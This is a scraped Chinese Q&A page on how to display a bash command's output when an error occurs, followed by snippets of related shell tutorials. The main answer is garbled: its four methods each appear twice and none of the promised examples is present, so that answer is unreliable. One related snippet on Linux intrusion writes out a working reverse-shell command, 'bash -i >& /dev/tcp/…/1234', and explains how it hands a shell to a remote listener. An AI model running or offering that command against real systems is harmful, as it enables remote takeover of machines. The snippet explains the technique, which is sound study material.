首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在bash中,如果出现错误,如何才能显示命令的输出?

在bash中,如果出现错误,可以通过以下方式来显示命令的输出:

  1. 使用重定向符号(>)将命令的输出重定向到文件中,然后查看文件内容。例如:
  2. 使用重定向符号(>)将命令的输出重定向到文件中,然后查看文件内容。例如:
  3. 使用管道符号(|)将命令的输出传递给另一个命令,例如使用less命令来查看输出:
  4. 使用管道符号(|)将命令的输出传递给另一个命令,例如使用less命令来查看输出:
  5. 使用tee命令将命令的输出同时显示在终端和文件中。例如:
  6. 使用tee命令将命令的输出同时显示在终端和文件中。例如:
  7. 使用2>&1将标准错误输出(stderr)重定向到标准输出(stdout),然后查看标准输出。例如:
  8. 使用2>&1将标准错误输出(stderr)重定向到标准输出(stdout),然后查看标准输出。例如:

以上方法可以帮助您在bash中显示命令的输出,以便更好地调试和排查错误。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

Bash 如何将标准错误stderr转向标准输出stdout

命令输出转到文件或者另外一个命令时候,你可能会注意到错误提示打印屏幕上。 Bash 和其他 Linux shells ,当程序执行时,它使用三个标准 I/O 流。...输入流提供信息给程序,通常是由键盘输入信息。 程序输出通常到标准输出流,而错误消息通常到标准错误流。默认情况下,输入流和错误流都打印屏幕上。...例如,下面两个命令是一样,都将命令输出转向到文件。...转向stdout 当保存程序输出到文件时,通常将标准错误stderr转向stdout,以便在同一个文件记录完成信息。... Bash &>和2>&1 一个意思: command &> file 四、总结 使用命令时候,理解转向和文件描述符概念是非常重要

1.6K30

What is devnull and How to Use It

在这里输出结果存储标准输出:xander@xander:~$ echo "hello world"hello world下一个命令将向我们显示先前运行命令退出状态。...如果未指定描述符,bash 将默认使用 stdout。也就是常说标准输出。...首先让我们看看如何过滤正常输出错误以下命令,grep 将尝试“/sys”目录搜索字符串(本例为 hello)。...图片/sys/通常只有具备root权限角色才能访问,使用一般用户会出现无权限访问页面,现在可以通过重定向输出流到 /dev/null,会发现所有grep错误流信息全部被丢弃。...这里就要使用之前介绍一个技巧,那就是ehco $?echo $?2 执行命令之后执行ehco $?,如果结果是0表示命令执行是正确如果类似值为 2则是该命令生成了错误结果。

53710

【LFS 系列】从零开始 DIY Linux 系统:(七)基本系统配置 - 系统区域设置

对于非英语区域设置来说,只有这样,bash 才能正常显示非 ASCII 字符 国家顺序可以按照字母顺序正常排序(译者注:这里所谓正常排序,应该是首先将国家名称转换成本地语言国家名称,比如中国开头字母是...同理,也可一并查询以下设置标准命令,然后将其添加到 bash 启动文件(对于 bash 来说,启动文件为 .bashrc)。...如果出现类似下文错误输出,可能是你没有严格按照第六章指导方法操作或者是你当前所用 Glibc 不支持。...假如没有出现错误提示,我们就可以继续进行下一步操作了! 有一些 LFS 之外包可能出现对你设置区域支持很差劲情况。...即便如此,也可能遇到某些程序因为区域设置和它们预置不同而导致功能异常(可能不会显示任何错误消息)。如果出现这样情况,可以通过查看其它发行版是如何进行设置区域,从而得到启发。

70310

Linux下shell命令笔记

-h 查询多文件时不显示文件名。 -l 查询多文件时只输出包含匹配字符文件名。 -n 显示匹配行及行号。 -s 不显示不存在或无匹配文本错误信息。 -v 显示不包含匹配文本所有行。..."9{3,}" test.txt 模式出现几率查找:显示输出字符“9”至少重复出现三次所有行 grep "9{2,3}" test.txt 模式出现几率查找:显示输出字符“9”重复出现次数在一定范围内...,重复出现2次或3次所有行 grep -n "^$" test.txt 显示输出空行行号 ls -l |grep "^d" 如果要查询目录列表目录 同:ls -d * ls -l |grep..."^d[d]" 一个目录查询不包含目录所有文件 ls -l |grpe "^d…..x..x" 查询其他用户和用户组成员有可执行权限目录集合 输出到文件 #!...,后续有新再来更新,如果上面的有错误,欢迎指出。

3.7K60

Linux基础(五)

命令错误,继续执行 脚本执行,语法错误,终止执行 bash -n 语法检查,但不检查命令错误 bash -x 查看执行过程,跟踪调试 pstree :查看进程树 pstree -p $$:可以查看当前进程...),如果执行完了,就会返回相应错误代码 6、算术运算 查看bash算术运算:help let 常用算术运算符:+、-、*、/、%、**(乘方) 算术运算实现: 1 let var=算术表达式 注意:...退出状态码 bash自定义退出状态码 exit [n]:自定义退出状态码 注意:脚本中一旦遇到exit命令,脚本会立即终止;终止退出状态取决于exit命令后面的数字 如果未给脚本指定主功能代码,整个脚本退出状态码取决于脚本执行最后一条命令状态码...x=空 x=$y x=$ 新值输出到标准错误输出 新值输出到标准错误输出 x=$y ========================================================...如何展开命令行 把命令行分成单个命令词 展开别名 展开大括号声明{} 展开波浪符声明~ 命令替换$()和`` 再次把命令行分成命令词 展开文件通配符(*、?

1.2K80

笨办法学 Linux 8~11

启动程序 3 开始从程序 2 读取输入 开始向显示器写出错误 开始向显示器写出数据 还有另一种方式来描绘发生事情,如果你喜欢...获取当前目录文件列表 向显示器写出错误 向管道写出输出 启动 tr -s ' ' 通过管道从 ls -al 读取输入 两个字段之间只保留一个空格...这又是cat不能做事情。 工整地打印文件名和修改时间。注意现在输出如何变得更清晰。 仅打印目录列表包含bash行。 将目录列表输出写入文件ls.out。 打印出ls.out。...发出此命令后,你可能想知道如何进行。目录是否被复制?还是出现了一些错误,因为目标目录空间不足,或其他出现错误东西? 为了理解它是如何工作,你必须了解两个程序如何通信。...当程序执行期间没遇到错误时,它返回0,如果发生某些错误,则此代码不为零。就是这么简单。Bash 这个退出代码保存到?环境变量,你现在知道了,可以使用$?来访问。

62320

linux定时运行命令脚本——crontab

2、如果cron.allow存在但cron.deny不存在,则只有列cron.allow文件里用户才能使用crontab命令如果root用户也不在里面,则root用户也不能使用crontab。 ...-l 标准输出显示当前crontab。  -r 删除当前crontab文件。  -e 使用VISUAL或者EDITOR环境变量所指编辑器编辑当前crontab文件。...=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root //如果出现错误,或者有数据输出,数据作为邮件发给这个帐号 HOME=/  每小时(第一分钟)执行/etc/cron.hourly...-e 时指定shell解释器(sh):SHELL=/bin/bash(请参见上面 crontab编辑 示例) 路径错误 /var/spool/crontab/yanggang ,添加了如下命令,... top10_all.sh,因此脚本 top10_all.sh 引用其它脚本也都需要使用绝对路径,才能被crontab找到并执行 如何避免绝对路径复杂设置呢,如上文 六、几个问题  所示,采用如下格式

4K20

Linux学习-文件和目录

如何获取Linux系统 如果自己单位有共有服务器,可以尝试申请账号。...ct@ehbio:~$ 首先解释下出现这几个字母和符号: ct: 用户名 ehbio:如果是登录远程服务器,则为宿主机名字 ~: 代表家目录, 我们进入新目录后,这个地方会跟着改变 $: 用来指示普通用户输入命令地方...ct@ehbio:~$ ls 如果错把l看成了i,输入了is,则会出现下面的提示未找到命令如果输入是Linux基本命令出现这个提示,基本可以判定是命令输入错了,瞪大眼睛仔细看就是了。...敲完命令回车后,注意查看终端输出,以判断是否有问题。...mkdir是新建一个目录 (make a directory);data是目录名字。 如果目录存在,则会出现提示,”无法创建已存在目录”。这时可以使用参数-p忽略这个错误

3.4K50

日拱一卒,麻省理工教你CS基础,那些酷炫无比命令行工具

有一些类似shellcheck工具可以帮助你检查你sh/bash脚本错误。...注意,脚本并不是一定需要写在bash才能被终端调用。...如果你之前不小心有过输入了前导空格命令,你可以.bash_history或者.zhistory手动删除它们。 路径导航 现在,我们已经假设你已经熟悉了上面这些操作。 但你怎样快速地导航到路径呢?...为了方便debug,你可以将代码写在macro.sh,通过source macro.sh载入代码 假设你有一个命令很少失败,为了debug,你需要捕获它输出,但可能会花很多时间才能重现失败。...写一个bash函数,它会重复执行下列脚本,直到失败,并且捕获它标准输出以及错误流写入文件,并在结束时打印出来。如果你还能汇报一共执行了多少次可以获得额外分数奖励 #!

1.5K40

shell脚本专题(05):传参

二、本文前言 本文是该专题第五篇。 文章主要介绍如何在脚本执行时传参、如何对传入参数做基本处理、如何处理选项、怎样执行用户输出。...使用while先判断输入参数1是否存在,如果非空则执行下面的操作:先输出参数$1,然后使用shift将参数\$2移动为新\$1,如此循环,直至所有参数被遍历。...如果是的话,就运行对应 case 语句中命令。 当参数为start、stop、restart和status时执行对应命令,若为其它参数则提醒需输入正确命令并退出。...6.用户输入 6.1基本读取 使用read可以从标准输入(键盘)或另一个文件描述符接受输入,收到输入后, read 命令会将数据放进一个变量。...-s 选项可以避免 read 命令输入数据出现显示器上(实际上,数据会被显示,只是read 命令会将文本颜色设成跟背景色一样) -t 选项来指定一个计时器,即5秒钟后没输入退出程序。

82111

Shell 编程入门 (转载非原创)

1、单引号 str='this is a string' echo '$str' # $str 单引号字符串限制: 单引号里任何字符都会原样输出,单引号字符串变量是无效; 单引号字串不能出现单独一个单引号...参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果,作为返回值。 return 后跟数值n(0-255)。...后台运行最后一个进程ID号 $@ 与$*相同,但是使用时加引号,并在引号返回每个参数。 $- 显示Shell使用的当前选项,与set命令功能相同。 $? 显示最后命令退出状态。...七、输入/输出重定向 1、 输出重定向 将命令完整输出重定向在用户文件。 # 覆盖 $ echo "hello world" >..../test.file 2、 输入重定向 从用户文件内容输出命令行。 $ wc -l < .

1.7K21

Bash 脚本 set 命令教程

$ bash script.sh 上面代码,script.sh是一个新 Shell 里面执行。这个 Shell 就是脚本执行环境,Bash 默认给定了这个环境各种参数。...顺便提一下,如果命令行下不带任何参数,直接运行set,会显示所有的环境变量和 Shell 函数。 $ set 二、set -u 执行脚本时候,如果遇到不存在变量,Bash 默认忽略它。 #!...set -o nounset 三、set -x 默认情况下,脚本执行后,屏幕只显示运行结果,没有其他内容。如果多个命令连续执行,它们运行结果就会连续输出。有时会分不清,某一段内容是什么命令产生。...set -o xtrace 四、Bash 错误处理 如果脚本里面有运行失败命令(返回值非0),Bash 默认会继续执行后面的命令。 #!.../usr/bin/env bash foo echo bar 上面脚本,foo是一个不存在命令,执行时会报错。但是,Bash 会忽略这个错误,继续往下执行。

1.7K40

shell脚本介绍,shell脚本结构和执行方式,date命令用法,shell脚本变量简介

不过如果这个shell脚本是本机执行的话,倒是可以省略掉:#!/bin/bash,因为能够识别本机命令,但是如果到另一台机器就不一定能够执行了,所以文件第一行才要写这样声明。...没有任何输出就代表这个脚本没有语法错误。 例如我把故意把脚本语法写错: ?   如图,就会提示语法错误,并且还能告诉你错误出现在文件第几行。...但是要注意是,这只是检查脚本语法错误如果你系统命令写错了,是不会被检查到。 20.3 date命令用法 ?...date是一个与时间日期相关命令如果直接使用的话,是显示当前系统日期时间: ?...date命令shell脚本作用很大,例如我备份某个文件或者记录某些日志信息时候,就可以使用这个命令给这些备份文件或日志信息标记一个时间。

2.5K60

《Linux命令行与shell脚本编程大全》第十五章 呈现数据

15.1 理解输入和输出 现在知道两种显示脚本输出方法 1)显示器屏幕上显示 2)将输出文件重定向到文件 15.1.1 标准文件描述符 Linux系统将每个对象当做文件处理。...shell所有输出会被定向到标准输出。 也可以通过输出重定向( > )来改变输出。通过输出重定向符号,可以将本来显示显示器上输出重定向到指定文件。...>>  表示追加到文件 注意:用了输出重定向,shell并未将错误消息重定向到输出重定向文件错误消息仍会显示显示。 3.STDERR 标准错误(2) STDERR文件描述符来处理错误消息。...意味着给3数据都将出现显示器上   4 exec 1>test5log.txt # 将STDOUT重定向到文件。但是3仍然指向STDOUT原来位置,也就是显示器。这时给3发会显示显示。...如何关闭: 将要关闭文件描述符重定向到特殊符号 &- 一旦关闭后,就不能在脚本向他写入数据,否则shell会产生错误信息。 例子:   1 #!

1.3K60

Linux 命令(230)—— set 命令(builtin)

-u 当执行时使用到未定义过变量,则显示错误信息。 -v 显示 Shell 所读取输入值。 -x 执行指令后,会先显示该指令及所下参数。...,则显示错误信息。...执行脚本时候,如果遇到不存在变量,Bash 默认忽略它。 #!/usr/bin/bash echo $a echo bar 上面代码,$a 是一个不存在变量。执行结果如下。...set -o nounset (4)脚本执行时打印出命令。 默认情况下,脚本执行后,屏幕只显示运行结果,没有其他内容。如果多个命令连续执行,它们运行结果就会连续输出。...即关闭通配符 notify -b 后台作业完成时通知用户 nounset -u 扩展一个未设置变量时显示一个错误信息 onecmd -t 在读取和执行命令后退出 physical -P 设置时,键入

4.3K20

Linux入侵 反弹shell

标准错误输出(stderr):代码为 2 ,使用 2> 或 2>> 很多资料都会告诉我们,2>&1是将标准错误输出合并到标准输出,但是这四个符号具体要如何理解呢?...我刚开始直接将2>看做标准错误输出,将&看做and,将1看做标准输出。这样理解好像也挺对,但是如果是这样的话0>&1又该如何理解呢?...首先,我查资料过程虽然没有查到“>&”究竟是什么,但是有一个跟它长得很像符号却被我发现了,那就是“&>”,它和“2>&1”是一个意思,都是将标准错误输出合并到标准输出。...我虚拟机里执行 bash -i >& /dev/tcp/10.0.42.1/1234 结果如下图所示,虽然命令和结果都在我本机上显示出来了,但实际上命令并不是本机上输入,而是只能在虚拟机里面输入,...综上所述,这句命令意思就是,创建一个可交互bash和一个到10.42.0.1:1234TCP链接,然后将bash输入输出错误都重定向到10.42.0.1:1234监听进程。

6.1K30

玩转tee命令 派发命令输出

问: 我知道如何使用tee将 aaa.sh 输出(标准输出)写入 bbb.out,同时还在终端显示: ..../aaa.sh | tee bbb.out 现在,我该如何将标准错误写入名为 ccc.out 文件,同时显示它? 答: tee -- 从标准输入读取内容,并将内容写到标准输出和文件。...-- 显示此帮助并退出 --version -- 显示版本信息并退出 对于提问,一个优雅解决办法是用一个 tee 处理标准输出,另一个 tee 处理标准错误。...tee 将其输入 输出回标准输出,但由于其输入是 command 标准错误,我们希望将该 tee 标准输出再次重定向到我们标准错误。.../bash/manual/bash.html#Process-Substitution 相关阅读: 2>&1是什么意思 为什么要使用xargs命令 xargs命令用法实例

15430

Linux Bash Shell入门教程

关于输入、输出错误输出 BASH 对变量规定(与 C 语言异同) BASH 基本流程控制语法 函数使用 2.1     最简单例子 —— Hello World!...由于 echo 后跟是 "Hello World" 这个字符串,因此 "Hello World"这个字串就被显示控制台终端屏幕上了。需要注意BASH 绝大多数语句结尾处都没有分号。...需要注意是,BASH 程序被执行后,实际上 Linux 系统是另外开设了一个进程来运行。 2.2     关于输入、输出错误输出 字符终端环境,标准输入/标准输出概念很好理解。... BASH 中使用这些概念时一般将标准输出表示为 1,将标准错误输出表示为 2。下面我们举例来说明如何使用他们,特别是标准输出和标准错误输出。...4.5 BASH 程序调试 用 bash -x bash-script 命令,可以查看一个出错 BASH 脚本到底错什么地方,可以帮助程序员找出脚本错误

2.8K40
领券